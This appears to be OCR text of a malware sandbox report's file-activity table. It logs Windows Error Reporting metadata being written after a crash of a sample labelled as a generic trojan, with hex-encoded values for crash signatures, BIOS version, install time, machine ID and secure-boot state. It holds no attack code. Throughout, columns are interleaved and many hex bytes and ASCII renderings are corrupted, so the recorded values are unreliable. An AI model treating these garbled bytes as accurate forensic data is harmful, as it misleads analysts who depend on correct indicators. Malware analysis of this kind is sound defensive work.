00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 33 00 31 00 30 00
34 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 0061 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 30 00 37
00 33 00 36 00 33 00
38 00 34 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
lL.U.s.a.g.e.>.9.5.0.2.3.2.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0.l.U.s.a.g.e.>.7.3.1.0.4.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.> success or wait
3.0.7.3.6.3.8.4.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.Private.U.s.a.g.e.>3. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0076 0061007400 0.7.3.6.3.8.4.<./.P.r.iv.a.t.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 003000370033
00 36 00 33 00 38 00
34 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.lnfo.rm. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6f00 63006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P..o.c.e.s.s.l.nfo.rm. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.l.e.m.S.i.g.n.a.t.u. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c00450076 0065 <.E.v.en.tT.y.p.e>AP.P. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 006e 0074005400 C.RAS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.fo..c.om..T.

74006500720030 r.0j.a.n..G.e.ne.r.icKD.
003e 0053006500 Z.7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e.</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
3100 32 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
7400 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./P.ob.lem.sS.g.n.at successorwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.am.i.c.S.i.g.n.a.t.u. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.</P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053007900 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
<./.D.y.n.a.m.i.c.S.i.g.n.a.t. success or wait 1 6E25497A unknown
u.r.e.s.>.
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
<.S.y.s.te.m.l.n.f.o.rm.a.t. success or wait 1 6E25497A unknown
i.o.n.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.M.l.D.>.A.2.A.B.5.2.6.A.- success or wait 1 6E25497A unknown
.D.3.8.D.-4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.l.D.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait 1 6E25497A unknown
.urer>w.iulo.i.,. .l.n.c...

<./.S.y.s.t.e.m.M.a.n.u.f.
ac.ture.r>.

success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.S.y.s.t.e.m.P.r.o.d.u.c.t.N success or wait 1 6E25497A unknown

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

success or wait 1 6E25497A unknown

success or wait 2 6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.e.r.s.i.o.n.>.V. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate> success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.ns.tallT.im.e>. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.

6100 6¢c 006¢c0054 9..2.1.Z</0.S.lns.tal
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.a.s.>. success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. T..m.e.Z.o.n.e.B.
00610073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./.S.y.s.tem.lnfo.rm.a. success orwait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml 00730074006500 ti.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

46

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
7400 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 33
00 37 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

EE=S

<U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.c.ur.e.B.o.0.t.Sta.

te>.

<.l.nte.g.r.ato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</lnte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

202228 THALE 025

EVLT >,

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 003100220020
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 6500 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
0020 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.r.o.c.es.s. .As.ld="
